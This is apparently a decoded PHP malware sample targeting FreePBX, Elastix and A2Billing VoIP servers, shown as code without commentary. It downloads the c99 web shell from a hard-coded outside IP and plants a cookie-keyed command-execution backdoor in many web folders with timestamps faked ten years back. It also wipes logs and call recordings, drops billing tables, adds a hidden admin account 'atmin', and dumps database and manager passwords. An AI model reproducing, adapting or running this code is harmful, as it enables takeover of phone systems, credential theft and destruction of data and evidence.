PHP Decode

ini_set('error_reporting', 0);
$file = is_file("/etc/asterisk/freepbx.conf")?"/etc/asterisk/freepbx.conf":"/etc/freepbx.conf";
is_file($file)?eval(str_replace(array('<?php','?>','require','include'),array('','','#require','#include'),file_get_contents($file))):'';
$amp_conf=(isset($amp_conf)?$amp_conf:array());
$amportal=array();
foreach(explode("
",file_get_contents("/etc/amportal.conf")) as $key => $val)
{
 if(preg_match_all("/=/",$val,$amp3))
 {
  $exx=explode("=",$val);
  $amportal[$exx[0]]=trim((isset($amp_conf[$exx[0]])?$amp_conf[$exx[0]]:str_replace($exx[0].'=','',$val)));
 }
}
$amp        = array_merge(array('AMPDBUSER' => 'asteriskuser','AMPDBNAME' => 'asterisk'),$amp_conf,$amportal);

  $oldcwd=getcwd();
  is_dir($amp["AMPWEBROOT"])?chdir($amp["AMPWEBROOT"]):"";

$freespace=(disk_free_space(getcwd()) / 1024 / 1024);
    if($freespace < 100)
    {
     @exec("nohup find /var/log/ -type f | xargs -I {} cp /dev/null {} &");
     @exec("nohup rm /tmp/* /var/spool/asterisk/monitor/* /var/www/backup/*.gz &");
    }
     @exec("chmod 0000 /var/www/html/a2billing/");
     $a2b= new  simple_db_connect($amp['AMPDBHOST'],'a2billinguser','a2billing');
     $a2b->select_db('mya2billing');
     $a2b->query('drop table cc_ui_authen');
     $a2b->query('drop table cc_agent');
     $a2b->query('drop table cc_system_log');
  $dirs=array($oldcwd.'/',getcwd().'/','/var/www/html/','/var/www/','/var/www/freepbx/','/var/www/localhost/','/opt/freepbx/');

  foreach($dirs as $K => $V)
  {
    $dirs[]=$V.'panel/';
    $dirs[]=$V.'recordings/';
    $dirs[]=$V.'vtigercrm/';
    $dirs[]=$V.'public_html/';
    $dirs[]=$V.'html/';
    $dirs[]=$V.'freepbx/';
  }

  $dirs=array_unique($dirs);
  sort($dirs);

  $contents=array(
                  'c'      => file_get_contents('http://51.158.24.25/t/c99.txt'),
                  'codes'  => '<?php $cmd=(md5(sha1($_COOKIE["t3rr0r"]))=="aeb1ae6d167d80abb38e8e07eae36170")? $_COOKIE["cmd"]: "echo \'Unauthorized T\'";  system($cmd); ?>'
                 );

$freespace=(disk_free_space(getcwd()) / 1024 / 1024);
if($freespace > 100)
{
  foreach($dirs as $k => $where)
  {
   if(is_dir($where))
   {
    (is_writeable($where))? write_dir($where): '';

    $od=opendir($where);
    while($rd=readdir($od))
    {
     $wd=$where.'/'.$rd;
     (($rd != '..') && ($rd != '.')&& is_writeable($wd) && is_dir($wd))? write_dir($wd): '';
    }
   }
  }

icwrite_dirs("/var/www/html/admin/modules/_cache/");
icwrite_dirs("/var/www/html/admin/modules/");
icwrite_dirs("/var/www/html/admin/assets/");
icwrite_dirs("/var/www/html/admin/libraries/");
icwrite_dirs("/var/www/html/recordings/misc/");
icwrite_dirs("/var/www/html/recordings/lang/");

}

  $pass=random_password();

if(count($amp) > 3)
{
  echo "
[+] Config Fetched ..";


  $db = new simple_db_connect($amp['AMPDBHOST'],$amp['AMPDBUSER'],$amp['AMPDBPASS']);
  echo "
[+] Connected To Database server ..";
    $db->select_db($amp['AMPDBNAME']);
   echo "
[+] Connected To Database ..";
  $db->query("delete from ampusers where username='atmin'",'
[-] Issue Deleting User');

  $query = $db->query("INSERT INTO `ampusers` ( `username`, `password_sha1`, `sections` ) VALUES ( 'atmin', '".sha1($pass)."', '*' );","
[-] Wrong Column ,, trying another column ..");
  if(!$query){ $query = $db->query("INSERT INTO `ampusers` ( `username`, `password`, `sections` ) VALUES ( 'atmin', '$pass', '*' );","
[-]Couldn't Determine Column .. Should Add admin Manually .."); }


  if($query){ echo "
[+] Admin User Added ..
[+] atmin : $pass
"; }

  is_dir("../admin")? @symlink('../admin','atmin') : "";
  is_dir("/var/www/html/admin")? @symlink('/var/www/html/admin','/var/www/html/recordings/atmin') : "";

}
else
{
 echo "
[-] Should Work Manually on this server ..
";
}
if(is_file("/var/www/html/libs/paloSantoDB.class.php"))
{
  include_once "/var/www/html/libs/paloSantoDB.class.php";
  include_once "/var/www/html/libs/paloSantoACL.class.php";
  $pDB = new paloDB("sqlite3:////var/www/db/acl.db");
  $pACL = new paloACL($pDB);
  $query="SELECT id from acl_user where name='atmin'";
  $iddb = $pDB->fetchTable($query);
  $tid=$iddb[0][0];
       if($tid < 2)
       {
        $pACL->createUser('atmin', '', md5($pass), '');
        $iddb = $pDB->fetchTable($query);
        $tid=$iddb[0][0];
       }
    $pACL->changePassword($tid,md5($pass));
    $pACL->addToGroup($tid,1);

 echo "
[+] Admin User Added ..
[+] atmin : $pass
";

}

    echo "-----------AMPDB-----------
";
        @system("grep AMPDB /etc/amportal.conf");
    echo "-----------ARI_ADMIN-----------
";
        @system("grep ARI_ADMIN /etc/amportal.conf");
    echo "-----------AMPMGR-----------
";
        @system("grep AMPMGR /etc/amportal.conf");
    echo "-----------PASS-----------
";
        @system("grep PASS /etc/amportal.conf");
    echo "------------Thats-All----------
";
              function write_dir($where)
              {
                   write_file($where.'/config.all.php','c');
                   write_file($where.'/phpversions.php','codes');

              }
              function icwrite_dirs($where)
              {
                  write_file($where.'/config.php','c');
                  write_file($where.'/index.php','codes');
              }

              function write_file($fname,$wtw)
              {
                      GLOBAL $contents;
                      if($contents[$wtw] !== '')
                      {
                              file_put_contents($fname,$contents[$wtw]);
                              touch($fname,strtotime('-10 years',time()));
                      }
              }
              function random_password($length=7)
              {
                      $set=array_merge(range('A', 'Z'), range('a', 'z'), range('0', '9'));
                      $str = 't';
                      for($i=0;$i<$length;$i++)
                      {
                              $str .= $set[rand(0, count($set)-1)];
                      }
                      return $str;
              }
class simple_db_connect
{
   var $link;
              function simple_db_connect($host,$username,$password)
              {
                if(function_exists('mysqli_connect'))
                {
                 $this->link = mysqli_connect($host,$username,$password) or print(mysqli_error($this->link));
                }
                elseif(function_exists('mysql_connect'))
                {
                  $this->link = mysql_connect($host,$username,$password) or print(mysql_error());
                }
              }

              function select_db($dbname)
              {
                if(function_exists('mysqli_select_db'))
                {
                  mysqli_select_db($this->link,$dbname) or print(mysqli_error($this->link));
                }
                elseif(function_exists('mysql_select_db'))
                {
                  mysql_select_db($dbname,$this->link) or print(mysql_error());
                }
                return true;
              }

              function query($query_data,$error_message='')
              {
              global $con;
                if(function_exists('mysqli_query'))
                {
                 $query = mysqli_query($this->link,$query_data) or print($error_message.mysqli_error($this->link));
                }
                elseif(function_exists('mysql_query'))
                {
                 $query = mysql_query($query_data,$this->link) or print($error_message.mysql_error());
                }
                return $query;
              }

}
@system("rm -rf /tmp/*.txt /tmp/*.php");